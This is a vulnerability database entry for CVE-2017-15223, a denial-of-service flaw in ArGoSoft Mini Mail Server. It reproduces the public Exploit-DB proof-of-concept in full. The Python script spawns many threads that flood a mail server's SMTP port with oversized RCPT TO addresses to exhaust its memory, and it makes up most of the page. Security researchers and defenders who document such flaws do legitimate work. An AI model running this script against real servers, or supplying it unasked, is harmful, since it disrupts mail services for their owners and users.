CVE-2017-15223
Description
Denial-of-service vulnerability in ArGoSoft Mini Mail Server 1.0.0.2 and earlier allows remote attackers to waste CPU resources (memory consumption) via unspecified vectors, possibly triggering an infinite loop.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
ArGoSoft Mini Mail Server 1.0.0.2 - Denial of Service
#!/usr/bin/env python
# coding: utf-8
############ Description: ##########
# The vulnerability was discovered during a vulnerability research lecture.
#
# Denial-of-service vulnerability in ArGoSoft Mini Mail Server 1.0.0.2
# and earlier allows remote attackers to waste CPU resources (memory
# consumption) via unspecified vectors.
####################################
# Exploit Title: ArGoSoft Mini Mail Server - DoS (Memory Consumption)
# Date: 2017-10-21
# Exploit Author: Berk Cem Göksel
# Contact: twitter.com/berkcgoksel || bgoksel.com
# Vendor Homepage: http://www.argosoft.com
# Software Link: http://www.argosoft.com/rootpages/MiniMail/Default.aspx
# Version: 1.0.0.2
# Tested on: Windows 10
# Category: Windows Remote Denial-of-Service
# CVE : CVE-2017-15223
import socket
from threading import Thread
def data():
ip = '127.0.0.1'
port = 25
counter = 50
string = '&'
while True:
try:
if counter >= 10000:
counter = 0
else:
counter = counter + 50
A = (string * counter) + 'user2@othermail.com'
print "String lenght: " + str(len(A))
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5.0)
sock.connect((ip, port))
sock.send('HELO localhost\r\n' + 'MAIL FROM: user1@somemail.com\r\n' + 'RCPT TO: ' + A + '\r\nDATA\r\nMessage-ID:1224\r\SDFGQUIL\r\n"."\r\n' + 'QUIT\r\n')
sock.recv(1024)
sock.close()
except Exception as e:
continue
def main():
iterations = int(input("Threads: "))
for i in range(iterations):
t = Thread(target=data)
t.start()
if __name__ == '__main__':
main()
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| argosoft | mini_mail_server | {"endIncluding":"1.0.0.2"} | |
References
CWEs
CWE-835
Community-verified mitigations for this CVE will appear above when contributors publish them.
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